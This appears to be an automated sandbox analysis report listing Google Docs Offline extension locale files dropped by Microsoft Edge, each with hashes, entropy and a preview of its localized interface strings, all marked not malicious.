Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\nn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5300_986477270\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
